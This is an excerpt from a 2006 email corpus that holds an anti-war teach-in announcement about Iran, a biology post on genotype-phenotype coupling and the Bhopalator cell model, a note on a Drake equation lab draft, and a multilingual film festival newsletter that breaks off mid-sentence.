Prof.Keckler/me if you have any questions about the project. Cheers, Madhavi ",0,1 Leili Kashani ,Leili ,"Tue, 18 Apr 2006 17:13:32 -0700","Stop a War on Iran: NYC, April 26, 7:30pm (please distribute widely ... co-sponsorships still welcome)","STOPPING THE WAR BEFORE IT STARTS: WHAT WE NEED TO KNOW TO RESIST A WAR AGAINST IRAN A community teach-in with Ervand Abrahamian, Kaveh Ehsani, and Timothy Mitchell moderated by Leili Kashani presented by Action Wednesdays Against War ** Wednesday, April 26 at 7:30pm (doors open early) Judson Memorial Church (directions below)* ""We may face no greater challenge from a single country than from Iran. ... If necessary, under long-standing principles of self defense, we do not rule out the use of force before attacks occur."" United States National Security Strategy 2006. http://www.whitehouse.gov/nsc/nss/2006/nss2006.pdf ""Weapons of mass destruction"" ""Islamic terrorists"" People in need of ""liberation"" and ""democracy"" Open calls for ""regime change"" DEJA VU? Three years into the war on Iraq the same rumors and stereotypes are being deployed, only this time, with multilateral support – and against Iranians. The United States of America, which remains the only country to have ever used an atomic weapon against a civilian population and today has 890 permanent military bases in 130 countries, continues to talk about imminent threats to its security. How is this like and unlike the lead-up to attacking Iraq? Is this about Iran's alleged pursuit of nuclear weapons? Or regime change? Is this about oil? Does international law have a role to play? Why aren't we mobilizing against deeper sanctions and a war on Iran? How can we do things differently this time? Join Action Wednesdays Against War for this important conversation, designed to provide critical information about the crisis and opportunities for solidarity with progressive political movements in Iran and with anti-war forces throughout the world. About the Speakers: Ervand Abrahamian is Distinguished Professor of History at the City University of New York, and has written extensively on modern Iran. His books include Iran Between Two Revolutions, The Iranian Mojahedin, Khomeinism: Essays on the Islamic Republic, Tortured Confessions, and a co-authored work titled Inventing the Axis of Evil: The Truth About North Korea, Iran, and Syria. He has been a regular commentator on Iran and a guest on Democracy Now! His articles include ""Neocons and their Nemeses in Iran"" boundary 2 (Spring 2005) and ""Iran: The next Target?"" Global Agenda (2005). http://www.globalagendamagazine.com/2005/ervandabrahamian.asp Kaveh Ehsani is the co-editor of the journal Goft-o-Gu in Tehran, and an editor of Middle East Report (MERIP) in Washington DC. He has published widely in Persian and English on Iranian politics and relations with the United States, and on urbanization and regional development in Iran. He is a director of the Jomhur Cultural and Social Research Association in Tehran. Some of his most recent articles for MERIP include ""Neo-Conservatives, Hardline Clerics and the Bomb"" (Winter 2004), ""Round 12 for Iran's Reformists"" (January 2004), and ""Iran's Presidential Runoff: The Long View"" (June 2005). http://www.merip.org/mero/mero062405.html Timothy Mitchell is Professor of Politics and Middle Eastern and Islamic Studies at New York University, and currently directs the International Center for Advanced Studies at NYU. His books, Colonising Egypt, Rule of Experts: Egypt, Techno-Politics, Modernity, and the edited collection Questions of Modernity, and his articles on the political economy of oil have helped transform the study of the Middle East. His articles include ""McJihad: Islam in the U.S. Global Order"" Social Text (Winter 2003) and ""The Limits of the State"" American Political Science Review (1991). http://muse.jhu.edu/cgi-bin/access.cgi?uri=/journals/social_text/v020/20.4mitchell.html Leili Kashani is a Ph.D. student in the joint program in History and Middle East and Islamic Studies at New York University. She has been a student council member at The International Society for Iranian Studies, and is an editor at Arab Studies Journal. She helped organize the World Tribunal on Iraq (NY session, May 2004) and is part of the Action Wednesdays Against War organizing collective. She is also part of the ""Global Movements, Urban Struggles"" radio collective and co-produced a show about a possible US-led attack on Iran on March 21. http://archive.wbai.org/files/mp3/060321_100002gmus.MP3 Co-sponsored by Arab Studies Journal, Brecht Forum, Campaign Against Sanctions and Military Intervention in Iran (CASMII), Left Turn, Middle East Report, Persian Cultural Society (NYU), Students for Justice in Palestine (NYU), United for Peace and Justice (UFPJ-NY), War Resisters League, and Youth Solidarity Summer (YSS). Our thanks to Professor Hamid Dabashi for joining our initial discussion on Iran at the Brecht Forum. We also thank the staff and congregation of Judson Church for the use of this space. Judson continues to be a beacon for free spirits in the arts and politics and a leader among progressive faith communities in the city and nation for over 100 years. * Judson Memorial Church is located at 55 Washington Square South (between Thompson and Sullivan Streets) For directions, please see http://www.judson.org/directions.htm ** Action Wednesdays Against War is a collective that meets at the Brecht Forum (www.brechtforum.org) to provide a space for dialogue in the anti-war movement. For more information contact: actionwednesday@gmail.com ",0,1 ,,,Functional genomics & genotype-phenotype coupling,"It is probably a truism in biology to state that structures determine functions over the ontogenetic time scale (seconds to years) and functions select structures over the phylogenetic time scale (centuries to billions of years): Causality ____________________________ | | | \\/ Structure Function /\\ | |____________________________| Selection Figure 1. The duality of the structure-function relation. How functions select structures seems well understood in terms of the Darwinian notion of the environment-initiated selection of the fittest reproducing systems. The purpose of this post is to discuss possible mechanisms underlying the causal relation between structure and function on the most basic level possible, namely, at the molecular and cellular levels. At this level, the problem of coupling structure and function is known as genotype-phenotype coupling: i.e., the question as to how genes control cell functions or the behaviors of the cell. During the past century, we have learned a lot about how genes control cell functions, which can be summarized as shown in Figure 2. 1 2 3 Genes (or DNA) ---- > mRNA --- > Proteins --- > Organized Physico- Chemical Processes (OPCP) | |4 | \\/ Cell Functions Figure 2. Molecular mechanisms underlying genotype-phenotype coupling. The overall process of the genotype-phenotype coupling can be divided into four distinct subprocesses as shown above. Of these the first three are well-known: 1 = transcription, 2 = translation , and 3 = catalysis. However, the fourth process is not yet well established, because it has not yet been well investigated experimentally due to the difficulty inherent in studying OPCP, dynamic structures maintained by continuous dissipation of free energy. That OPCPs do occur inside the living cell, however, is beyond doubt. One of the first clear demonstration of this was provided by D. W. Sawyer et al in 1985 [1] who was able to visualize the calcium ion gradient formed within moving human white blood cells known as neutrophils, using a dye molecule whose fluorescence efficiency increases upon binding calcium ions. Their measurements clearly revealed that the direction of movement (better known as chemotaxis) of neutorophils is determined by the orientation of the calcium ion gradient inside the cell (i.e., the structure of OPCPs). Unlike the intracellular calcium ion gradients driving neutrophil migration, which are chemical concentration gradients in the 3-dimensional Euclidean space (requiring x, y and z coordinates for specification), the intracellular mRNA levels recently measured by Perez-Ortin and his group in Valencia, Spain [2] provides an example of a chemical concentration gradient in the time dimension. That is, the intracellular concentrations of mRNA molecules can change with respect to time – rising of falling within minutes to hours, depending on the nucleotide sequences of mRNA molecules involved. What is most significant is that these temporal gradients of mRNA molecules are associated with activation or inhibition of those cell functions catalyzed by the proteins encoded in the mRNA molecules, thereby linking OPCPs to cell functions. So we have here two examples--one involving spatial gradients of chemical concentrations and the other temporal gradients--that clearly demonstrate the causal connection (in the form of a 1-to-1 correlation) between OPCPs and cell functions. This provides the possible mechanism for effectuating the fourth subprocess shown in Figure 2. It is important to point out that OPCPs in Figure 2 (as exemplified by the spatial gradients of calcium ions [1] and the temporal gradients of mRNA [2]) cannot exist without continuous dissipation of free energy, just as the flame of a candle cannot be maintained without continuous combustion of hydrocarbons at the wick. Such dynamic structures, which disappear upon removing free energy input, were named “dissipative structures” by I. Prigogine (1917-2003) [3-5] As is well known, he was awarded the 1977 Nobel Prize in Chemistry or Physiology for his pioneering work on establishing the concept of dissipative structures in nonequilibrium thermodynamics [5]. He believed that the living cell was a dissipative structure [6], which is by now another truism in biology. We can now replace the operationally defined term OPCPs in Figure 2 with the thermodynamics-based concept of the so-called ‘intracellular dissipative structures’ (IDSs)’ [7,8] as shown in Figure 3. Processes 1 and 2 in Figure 3 are clearly catalyzed by enzymes and Process 3 is also mediated by enzymes. Process 4 may be viewed as an “Identity Process”, in analogy to the “identity operator’ in algebra, in the sense that IDSs are correlated to cell functions in a 1-to-1 manner. That is, IDSs ARE cell functions. Since all enzymes and effector proteins are postulated to be driven by internal mechanical stresses localized in sequence-specific sites called conformons [9], it can be suggested that Processes 1 through 4 (and also Processes 5 through 7) are all driven by conformons generated within enzymes catalyzing them. The molecular model of the living cell based on the concepts of conformons and dissipative structures are named the Bhopalator in 1985 [7,8]. 1 2 3 4 Genes (or DNA)----> mRNA --->Proteins --->IDSs ---> Cell Functions | /\\ /\\ | | | | | | | |____5______| | |______6______________| |___________7____________________________| Figure 3. A molecular model of the genotype-phenotype coupling based on the concepts of dissipative structures and conformons. This is an alternative representation of the molecular model of the living cell known as the Bhopalator [7,8]. In conclusion, it may be stated that the Bhopalator model of the living cell formulated two decades ago may provide molecularly realistic mechanisms for effectuating the genotype-phenotype coupling, the holy grail of modern cell biology. If this theoretical analysis proves to be valid upon further investigation, the Bhopalator may provide a useful molecular theoretical framework for ushering in a new era of functional genomics on the molecular level. With all the best. Sung __________________________________________ Sungchul Ji Department of Pharmacology and Toxicology Rutgers University Piscataway, N.J. 08855 References: [1] Sawyer, D.W., Sullivan, J. A., and Mandell, G. L. (1985). Intracellular Free Calcium Localization in Neutrophils During Phagocytosis. Science 230:663-666. [2] Garcia-Martinez, J., Aranda, A., Perez-Ortin, J. E. (2004). Genomic Run-On Evaluates Transcription Rates for all Yeast Genes and Identifies Gene Regulatory Mechanisms. Mol. Cell 15:303-313. [3] Babloyantz, A. (1986). Molecules, Dynamics & Life, Wiley-Interscience, New York. [4] Kondepudi, D., and Prigogine, I. (1998). Modern Thermodynamics: From Heat Engine to Dissipative Structures, John Wiley & Sons, Inc., Chichester. [5] Prigogine, I. (1978). Time, Structure, and Fluctuations. Science 201:777-785. [6] Personal conversation with Prigogine in his office at the University of Texas, Austin, in 1983. [7] S. Ji (1985). The Bhopalator - A Molecular Model of the Living Cell Based on the Concepts of Conformons and Dissipative Structures. J. theor. Biology 116:399-426. [8] Ji, S. (2002). The Bhopalator: An Information/Energy Dual Model of the Living Cell (II). Fundamenta Informaticae 49(1-3):147-165. [9] Ji, S. (2000). Free energy and information contents of Conformons in proteins and DNA. BioSystems 54:107-130. ",0,0 a.baleisis@att.net,"eofferdahl@as.arizona.edu, cimpey@as.arizona.edu, lanan@email.arizona.edu","Wed, 19 Apr 2006 06:11:16 +0000",Drake Equation lab draft,"Chris (especially), here is the draft for the lab for Thursday. What still needs work - the front sheet (blue highlighting). The idea is to have the different profiles in different versions of the lab (not to be separately picked up, up front), with the same Part A and intro for each. I pasted the old Drake eqn. background sheet on the end just to have more info if you want to add something in the profiles...it has different names of factors than in the main lab, though. I changed female psych student with long hair to sophomore psych student with dark hair, in case you care to pick something different. And I don't know if all those follow-up questions need to be in there. So the idea is they get a lab (with some profile for biologist or NASA lackey), work through part A, then read the profile and answer part B. They finally find the other groups with the same profile, and come up with a ""discipline wide"" range of values that they finally submit to us. The end. Audra",0,0 BICDance@aol.com,economicsbb@columbia.edu,"Wed, 19 Apr 2006 00:00:12 -0400","Fountainhead; XXI Black International Cinema Berlin Germany, St. Louis Mo. 2006!","FOUNTAINHEAD® TANZ THEATRE e – LETTER, Berlin/Germany April 2006 __________________________________________________________________ FOUNTAINHEAD® TANZ THEATRE INSPIRATION - CREATION - FULFILLMENT PERSONIFIED INSPIRATION - KREATION - ERFÜLLUNG PERSONIFIZIERT __________________________________________________________________ Table of Contents/Inhalt __________________________________________________________________ 1. XXI. BLACK INTERNATIONAL CINEMA 2006 FILM PROGRAM, ST.LOUIS __________________________________________________________________ 2. XXI. BLACK INTERNATIONAL CINEMA 2006 FILM PROGRAM, BERLIN __________________________________________________________________ 3. THE COLLEGIUM TELEVISION PROGRAM BERLIN LIVE - LIVE - LIVE - LIVE - LIVE - LIVE - LIVE - LIVE - LIVE 9-10 pm / 21-22 Uhr Offener Kanal Berlin __________________________________________________________________ _http://members.aol.com/bicdance_ (http://members.aol.com/bicdance) _www.fountainhead-tanz-theatre.de_ (http://www.fountainhead-tanz-theatre.de) _www.black-international-cinema.com_ (http://www.black-international-cinema.com) Please send replies to / Bitte senden Sie Antworten an _bicdance@aol.com_ (mailto:bicdance@aol.com) __________________________________________________________________ 1. XXI. BLACK INTERNATIONAL CINEMA 2006 “Meet Us In St. Louis“ in cooperation with UNIVERSITY OF MISSOURI, ST. LOUIS, MO./USA CENTER FOR INTERNATIONAL STUDIES & SAINT LOUIS ART MUSEUM April 22 - 24 cinema filmkunst 66 / BERLIN/Germany May 4 - 10 in association with CLASSIC IN BLACK PROGRAM INFORMATION _http://www.black-international-cinema.com/BIC06/HTML/bic06_frameset.htm_ (http://www.black-international-cinema.com/BIC06/HTML/bic06_frameset.htm) __________________________________________________________________ PRODUCTION & DIRECTION Fountainhead® Tanz Theatre The Collegium – Forum & Television Program Berlin Cultural Zephyr e.V. present XXI. BLACK INTERNATIONAL CINEMA BERLIN Intercultural/Interdisciplinary Film/Video, Dance, Theatre, Music, Seminar & Gallery Presentations Berlin/Germany & U.S.A. 2006 UNIVERSITY OF MISSOURI – ST. LOUIS CENTER FOR INTERNATIONAL STUDIES SAINT LOUIS ART MUSEUM St. Louis/Mo./USA April 22-24 FILMKUNST 66 CINEMA Berlin, Germany May 4-10 in association with Classic In Black __________________________________________________________________ MISSION STATEMENT We are an international, intercultural community of persons engaged in achieving increasing understanding and cooperation between individuals and groups in support of democratic procedures and the elimination of violence, religious, ethnic and gender persecution, youth exploitation, homophobia and racial hatred through the process of art, education, culture and dialogue. Wir sind eine internationale, interkulturelle Gemeinschaft von Menschen mit dem Engagement für ein besseres Verständnis und wachsende Kooperation zwischen Individuen und Gruppen, mit Unterstützung des demokratischen Prozesses und der Beseitigung von Gewalt, Verfolgung aufgrund religiöser, ethnischer und geschlechtlicher Zugehörigkeit, Kindes- und Jugendmissbrauch, Homosexuellen-Feindlichkeit und von Rassenhass, durch die Mittel der Kunst, der Bildung, der Kultur und des Dialogs. Nous sommes une communauté internationale et interculturelle de personnes engagées à promouvoir la compréhension et la coopération croissantes entre les individus et les groupes, à l'appui des outils démocratiques et à travers l'élimination de la violence, de la persécution religieuse, ethnique et de genre, de l'exploitation de la jeunesse, de l' homophobie et de la haine raciale par le processus de l'art, de l'éducation, de la culture et du dialogue. __________________________________________________________________ PROGRAM SCHEDULE SAINT LOUIS ART MUSEUM April 22 – 24, 2006 One Fine Arts Drive, Forest Park St. Louis, Missouri 63110, U.S.A. __________________________________________________________________ Saturday, April 22 11 am – 1 pm AVAHAYE BARAYE PIREMARD / SOME VOCALS FOR AN OLD MAN Director: Farid Mirkhani Experimental, Color, 15 min. Iran 2005 Turkish with English subtitles An old man decides to record the voice of birds to escape his loneliness... Ein alter Mann entschließt sich, den Gesang der Vögel aufzuzeichnen, um der Einsamkeit zu entfliehen... Un vieil homme se décide à enregistrer la voix des oiseaux pour échapper à sa solitude... THIS AMERICA Director: Bethels Agomuoh Narrative, Color, 98 min. U.S.A. 2005 English An African tourist forced to remain in the U.S.A., encounters dramatic conflicts and challenges in his bid to survive in a culture different from the one in which he was raised. Ein afrikanischer Tourist, der gezwungen ist, in den USA zu bleiben, stößt auf dramatische Konflikte und Herausforderungen bei seinem Versuch, in einer Kultur zu überleben, die sich von der unterscheidet, in der er aufwuchs. Un touriste africain forcé de rester aux États-Unis, doit faire face à des conflits dramatiques et des défis dans son effort de survivre dans une culture différente de celle dans laquelle il a été élevée. __________________________________________________________________ Saturday, April 22 1 – 3 pm SOUL OF JUSTICE: Thelton Henderson´s American Journey Director: Abby Ginzberg Documentary, Color/B/W, 62 min. U.S.A. 2005 English ""Soul Of Justice: Thelton Henderson´s American Journey"" is a gripping story about one man´s commitment to justice and human rights from the streets of East Los Angeles to the federal bench. This compelling and thought-provoking film from award-winning director Abby Ginzberg portrays the challenges Thelton Henderson experienced throughout his life as a black man in authority in a largely all-white world. Judge Henderson´s commitment to human rights has led him to a ten year effort to reform the medical care within California prisons. ""Soul Of Justice: Thelton Henderson´s American Journey"" ist die ergreifende Geschichte über einen Mann, der sich der Gerechtigkeit und den Menschenrechten verschrieben hat von den Straßen East Los Angeles bis zur Staatsbehörde. Dieser eindringliche und nachdenklich machende Film der preisgekrönten Regisseurin Abby Ginzberg beschreibt die Herausforderungen, denen sich Thelton Henderson sein Leben lang gestellt hat als schwarzer Mann mit Amtsgewalt in einer weithin weißen Welt. Richter Hendersons Engagement für die Menschenrechte führte ihn zu einem zehn Jahre dauernden Kampf um eine Reform der medizinischen Versorgung in kalifornischen Gefängnissen. ""Soul Of Justice: Thelton Henderson´s American Journey"" est une histoire passionnante de l´engagement d´un homme pour la justice et les droits de l´homme des rues de Los Angeles jusqu´au Banc fédéral. Ce film contraignant et provocatif de la réalisatrice primée par un prix, Abby Ginzberg, dépeint les défis que Thelton Henderson expérience durant toute sa vie en tant qu´homme noir muni d´une autorité dans un monde en grande partie blanc. L´engagement du Juge Henderson pour les droits de l´homme l´a conduit à un combat de dix ans de réforme du système de soin dans des prisons en Californie/USA. TUAREGS AND TOUBABS Director: Dottie Leroux Documentary, Color, 57 min. Mali/U.S.A. English/French with English subtitles Director´s statement: ""For 30 years, Africa has been my passion. As a `development worker´ in over 40 countries, I´ve seen it all: famine, genocide, the devastation of AIDS, corruption and civil wars – all headline grabbers. Only rarely do you hear or read about the `other Africa´ – the Africa of joy, diversity, and creativity; the incomparable musical genius, simple elegance, and open-heartedness of its people."" Statement der Regisseurin: ""Seit 30 Jahren ist Afrika meine Leidenschaft. Als `Entwicklungshelferin´ in über 40 Ländern habe ich alles gesehen: Hungersnot, Völkermord, Zerstörung durch AIDS, Korruption und Bürgerkriege – alles gut für Schlagzeilen. Nur selten hört oder liest man über das `andere Afrika´ – das Afrika der Freude, der Verschiedenheit und Kreativität; das unvergleichliche musikalische Genie, schlichte Eleganz und die Offenherzigkeit seiner Menschen."" Le rapport du directeur: ""Pendant 30 années, l´Afrique a été ma passion. En tant que `coopérant´ dans plus de 40 pays, j´ai tout vu: famine, génocide, dévastation causée par le SIDA, corruption et guerres civiles – tous pour les gros titres. Mais il est rare d´entendre parler de `l´autre Afrique´ – l´Afrique de la joie, de la diversité, et de la créativité; le génie musical incomparable, l´élégance simple, et le grand cœur de ses personnes."" __________________________________________________________________ Saturday, April 22 3 – 5 pm HOMELESS MESS Director: Loren Reed Experimental, Color, 7 min. U.S.A. 2004 English Art and life collide on the streets of Los Angeles and Sacramento in the shameful world of homelessness. Kunst und Leben prallen in den Straßen von Los Angeles und Sacramento in der beschämenden Welt der Obdachlosigkeit aufeinander. L´art et la vie se heurtent dans les rues de Los Angeles et de Sacramento dans le monde honteux des sans logis. PARDON ME CLEO, A DEATHROW TALE Director: Loren Reed Narrative, Color, 14 min. U.S.A. 2004 English An inmate on death row reaches out to Black youth before execution, through artwork in her cell. Eine Insassin in der Todeszelle wendet sich mit ihrer Kunst aus ihrer Zelle an schwarze Jugendliche, bevor sie hingerichtet wird. Une détenue condamnée à la peine de mort s´adresse au moyen de son art à la jeunesse noire avant d´être exécutée. CONTRIBUTE2 THE EXPERIENCE Director: David Hale Sylvester Documentary/Narrative, Color, 29 min. U.S.A. 2005 English ""My name is David Sylvester and on 9/11 my life long friend, neighbor and mentor was killed. I felt that it was unfair that any man, especially Kevin, should die in such an ignominious fashion and started a scholarship fund in his name at a local high school. To raise funds and awareness for this cause I rode my bicycle across the U.S.A. I matured, grew and evolved so much on this trip that I wanted to do more and entered a bike race that would take me from Cairo to Cape Town."" ""Mein Name ist David Sylvester und am 11. September wurde mein langjähriger Freund, Nachbar und Mentor getötet. Ich hatte das Gefühl, es sei unfair, dass irgendein Mann, und besonders Kevin, auf solch schändliche Weise sterben sollte, und begann in seinem Namen eine Stiftung in einer örtlichen High School. Um Geldmittel und Aufmerksamkeit für diese Sache zu bekommen, fuhr ich mit dem Fahrrad durch die ganze USA. Ich reifte, wuchs und entwickelte mich so sehr auf dieser Reise, dass ich mehr tun wollte, und nahm an einem Fahrradrennen teil, das mich von Kairo nach Kapstadt führte."" ""Mon nom est David Sylvester et le 11 Septembre mon ami de longue date, le voisin et conseiller a été tué. J´ai estimé qu´il était injuste qu´un homme, particulièrement Kevin, devait mourir d´une manière si honteuse et j´ai crée une fondation en son nom au sein d´un lycée local. Pour collecter des fonds et attirer l´attention du publique pour cette cause, j´ai conduit ma bicyclette à travers les États-Unis. J´ai mûri, grandi et ai évolué tellement lors de ce voyage que j´ai voulu faire plus et me suis présenté à une course de vélo qui me porterait du Caire au Cap Town."" ...VIAJERO DE MÍ MISMO... / ...TRAVELLER OF MY OWN... Directors: Galina Likosova & Hernán H. Restrepo Documentary, Color, 56 min. Colombia 2005 Spanish with English subtitles The documentary presents the life and music of Adolfo Mejía (1905-1973), Colombian composer, heir of Black, Native Colombian and Spanish musical roots, adoptive son of Cartagena, in his 100 anniversary. Mejía was a simple and, at the same time, an enigmatic person. Die Dokumentation präsentiert das Leben und die Musik Adolfo Mejías (1905-1973), kolumbianischer Komponist, mit Wurzeln in der Musik der Schwarzen, der Ureinwohner Kolumbiens und der Spanier, Adoptivsohn Cartagenas und in seinem 100. Geburtsjahr. Mejía war ein einfacher und gleichzeitig rätselhafter Mensch. Le documentaire présente la vie et la musique d´Adolfo Mejía (1905-1973), compositeur colombien, héritier des racines musicales des noirs, indiens et espagnoles, fils adoptif de Carthagène, dans le cadre de son 100ème anniversaire. Mejía était une personne simple et, en même temps, énigmatique. __________________________________________________________________ Saturday, April 22 5 – 7 pm YOU ARE WELCOME Director: Otu Tetteh Documentary, Color, 16 min. Ghana/Germany 2006 English and German with English subtitles ""You Are Welcome"" is a short personal look at the issue of migration to Europe with three interview partners. Otu Tetteh conducts interviews in Ghana regarding their feelings about that difficult theme. Africa and Europe, Ghana and Germany – are we coming closer? ""You Are Welcome"" ist ein kurzer persönlicher Blick auf das Thema Migration nach Europa mit drei Interviewpartnern. Otu Tetteh spricht in Ghana mit ihnen über ihre Gefühle zu diesem schwierigen Thema. Afrika und Europa, Ghana und Deutschland – kommen wir uns näher? ""You Are Welcome"" est un regard personnel court sur la question de la migration en Europe porté par trois personnes interviewées au Ghana. Otu Tetteh les interroge sur leur sentiment à propos de ce thème difficile. L´Afrique et l´Europe, le Ghana et l´Allemagne – sommes-nous en train de devenir plus proche? TURNTABLE Director: Robert Patton-Spruill Narrative, Color, 88 min. U.S.A. 2006 English ""Turntable"" is a feature film about DJ Spyder, a lonely, moody DJ hiding at the local nightclub Slade´s. What no one knows is that DJ Spyder´s brothers are back in town and about to ruin an arrangement their imprisoned father designed. ""Turntable"" ist ein Spielfilm über DJ Spyder, einen einsamen, launischen Discjockey, der sich im örtlichen Nachtclub Slade´s versteckt hält. Was niemand weiß, ist, dass DJ Spyders Brüder wieder in der Stadt sind und dabei, ein Geschäft zu ruinieren, das ihr Vater, der im Gefängnis einsitzt, in die Wege geleitet hat. ""Turntable"" est un longmétrage au sujet du DJ Spyder, un DJ isolé et instable, qui se cache dans le Club de nuit local le Slade. Ce que personne ne sait c´est que les frères de DJ Spyder sont de retour en ville et risquent de saper une affaire que leur père emprisonné a créé. __________________________________________________________________ Saturday, April 22 7 – 9 pm PRESCRIPTION FOR TIME Director: Keith McQuirter Narrative, Color, 15 min. U.S.A. 2005 English Geraldine, portrayed by Gaye Saunders, an elderly woman, suffers from early signs of dementia and fears losing her independence to her daughter. In an attempt to change her fate, she finds hope in a drug that promises to extend life. Now caught in a crossroad between fear and hope, Geraldine must find the courage to face the truth of her reality or watch her life spin dangerously out of control. Geraldine – dargestellt von Gaye Saunders – eine ältere Frau, leidet an frühen Anzeichen von Demenz und hat Angst, ihre Unabhängigkeit an ihre Tochter zu verlieren. In einem Versuch, ihr Schicksal zu ändern, findet sie Hoffnung in einem Medikament, das eine Lebensverlängerung verspricht. Gefangen in einem Zwiespalt von Angst und Hoffnung, muss Geraldine den Mut aufbringen, sich der Wahrheit ihrer Realität zu stellen oder ihr Leben auf gefährliche Weise aus der Bahn gleiten zu sehen. Géraldine, représentée par Gaye Saunders, une vieille femme, souffrent des signes tôt de la démence et craint de perdre son indépendance à l´égard de sa fille. Afin d´essayer de changer son destin, elle trouve l´espoir dans une drogue qui promet de prolonger la vie. Maintenant enfermée dans un carrefour entre la crainte et l´espoir, Géraldine doit trouver le courage de faire face à la vérité de la réalité ou de voir sa vie dangereusement échapper à son contrôle. BEEN RICH ALL MY LIFE Director: Heather Lyn MacDonald Documentary, Color, 82 min. U.S.A. 2005 English ""I´m going to dance, dance, dance ´til I can´t dance no more, and I´m going to live, live, live ´til I die!"" (Bertye Lou Wood, age 96) Directed by Sundance award-winning filmmaker Heather Lyn MacDonald, ""Been Rich All My Life"" follows the remarkable ""Silver Belles."" In their 1930´s heyday, they danced at Harlem´s most prestigious haunts, with legendary band leaders like Cab Calloway and Duke Ellington. In 1985 they regrouped, put their shoes back on – and sassy as they ever were – are still performing regularly. They may not kick as high, but they are hip-swaying and show-biz savvy. ""Ich werde tanzen, tanzen, tanzen, bis ich nicht mehr tanzen kann, und ich werde leben, leben, leben, bis ich sterbe."" (Bertye Lou Wood, 96 Jahre) Unter der Regie von Heather Lyn MacDonald, einer vom Sundance Filmfestival ausgezeichneten Filmemacherin, begleitet der Film ""Been Rich All My Life"" die bemerkenswerten ""Silver Belles."" In ihrer Blütezeit der dreißiger Jahre tanzten sie auf Harlems angesehendsten Bühnen, mit legendären Orchesterleitern wie Cab Calloway und Duke Ellington. 1985 kamen sie wieder als Gruppe zusammen, zogen ihre Tanzschuhe an und – so extravagant, wie sie immer waren – treten sie noch regelmäßig auf. Sie mögen die Beine nicht mehr so hoch werfen, aber sie schwingen die Hüften und verstehen das Showgeschäft. Je vais danser, danser, danser ´jusqu´à ce que je ne puisse plus danser, et je vais vivre, vivre, vivre ´jusqu´à ce que je meure!"" (Bertye Lou Wood, âge 96) Dirigé par le cinéaste Heather Lyn MacDonald gagnant du prix Sundance, ""Been Rich All My Life"" est la suite remarquable de ""Silver Belles."" Dans leurs années 30 glorieuses, ils ont dansé dans les places les plus prestigieuses de Harlem, avec les groupes leaders légendaires tels que Cab Calloway et Duke Ellington. En 1985 ils se sont regroupés denouveau, ont remis leurs chaussures – et aussi extravagant qu´autrefois – ils se produisent toujours régulièrement. Ils ne peuvent plus lever leur pied aussi haut, mais ils balancent toujours des hanches et comprennent encore le Show Business. MARATHON Director: Tod Jackson Experimental, Color, 15 min. U.S.A. English A drama regarding marathon dances of the 30´s. Ein Drama über die Marathontänze der 30er Jahre. Un drame au sujet des danses marathon des années 30. __________________________________________________________________ Sunday, April 23 11 am – 1 pm LES JOURS À CÔTÉ – DAYS ASIDE Directors: Iliana Estañol & Ella Pugliese Documentary, Color, 46 min. Burkina Faso/Germany 2005 French and Norée with English subtitles ""Days Aside"" is the story of three street kids from Burkina Faso, who live in the capital Ouagadougou taking each day as it comes. Their lives change with the arrival of tourists and filmmakers attending the largest film festival in Africa, the FESPACO. ""Days Aside"" ist die Geschichte dreier Straßenkinder aus Burkina Faso, die in der Hauptstadt Ouagadougou leben und jeden Tag so nehmen, wie er kommt. Ihr Leben ändert sich mit der Ankunft von Touristen und Filmemachern, die das größte Filmfestival in Afrika besuchen, das FESPACO. ""Les Jours À Côté"" est l´histoire de trois gosses de rue de Burkina Faso, qui vivent dans la Capitale de Ouagadougou, prenant chaque jour comme il vient. Leurs vies changent avec l´arrivée des touristes et des cinéastes assistant au plus grand festival de filmes en Afrique, le FESPACO. QUEENS OF SOUND – A HERSTORY OF REGGAE AND DANCE HALL Director: Sandra Krampelhuber Documentary, Color, 72 min. Austria 2006 English with German subtitles ""Queens Of Sound"" documents the long neglected female side of reggae and dance hall music in Jamaica. Three generations of women in the Jamaican music business tell us about their role past and present, the first steps into their career, the struggle for acceptance in a male dominated business, their life paths and big success. ""Queens Of Sound"" dokumentiert die lange Zeit vernachlässigte weibliche Seite des Reggae und der Dancehall-Musik in Jamaika. Drei Generationen von Frauen aus dem jamaikanischen Musikgeschäft erzählen uns von ihrer Rolle in der Vergangenheit und Gegenwart, ihren ersten Schritten in ihre Karriere, von ihrem Kampf um Anerkennung in einem männlich dominierten Geschäft, von ihren Lebenswegen und dem großen Erfolg. ""Queens Of Sound"" documente le côté féminin longtemps négligé du reggae et de la Dancehall musique en Jamaïque. Trois générations de femmes dans les affaires jamaïquaines de la musique nous parlent de leur rôle dans le passé et le présent, leur premier pas dans la carrière, leur lutte pour la reconnaissance dans un business dominé par les hommes, tout comme leur chemin de vie et grand succès. __________________________________________________________________ Sunday, April 23 1 – 3 pm ASHOOBE YADHA / MEMORIES CONFUSION Director: Farid Mirkhani Experimental, B/W, 12 min. Iran 2005 Turkish with English subtitles A man whose son died talks with passengers about his son, but... Ein Mann, dessen Sohn gestorben ist, spricht mit Fahrgästen über seinen Sohn, aber... Un homme dont le fils est mort parle avec des passagers au sujet de son fils, mais... THE WILL TO SURVIVE: THE STORY OF THE GULLAH/GEECHEE NATION Director: Jim White Documentary, Color, 47 min. U.S.A. 2006 English The documentary chronicles the Gullah and Geechee people, who were first brought from Africa to isolated islands near Georgia, U.S.A. Once enslaved in the Caribbean and the U.S.A., many African traditions are still alive in today´s Gullah/Geechee culture. Die Dokumentation zeichnet ein chronologisches Bild der ethnischen Gruppen Gullah und Geechee, die als erste aus Afrika zu den abgelegenen Inseln nahe Georgia, USA, gebracht worden waren. Einst versklavt in der Karibik und in den USA, sind viele afrikanische Traditionen der Gullah-Geecheekultur heute noch lebendig. Le documentaire retrace l´histoire chronologique des peuples Gullah et de Geechee, qui ont été apportés les premiers d´Afrique sur les îles isolées près de la Géorgie/Etats-Unis. Autrefois asservis dans les Caraïbes et aux États-Unis, beaucoup de traditions africaines sont encore vivantes dans la culture d´aujourd´hui des Gullah et Geechee. WHAT MY MOTHER TOLD ME Director: Frances-Anne Solomon Narrative, Color, 57 min. U.K./Trinidad-Tobago 1995 English Exquisitely beautiful, and profoundly moving, ""What My Mother Told Me"" is a dramatic journey towards self-discovery. The story focuses on Jesse, a young woman from England, who goes to Trinidad to bury her father. Reluctantly she agrees to meet her mother, whom she thought had abandoned her when she was a child. Her mother tells her stories, revealing a troubled and violent marriage, and Jesse is forced to face the truth about her past. Äußerst schön und zu tiefst bewegend beschreibt ""What My Mother Told Me"" eine dramatische Reise zur Selbsterkenntnis. Die Geschichte handelt von Jesse, einer jungen Frau aus England, die nach Trinidad reist, um ihren Vater zu beerdigen. Widerstrebend 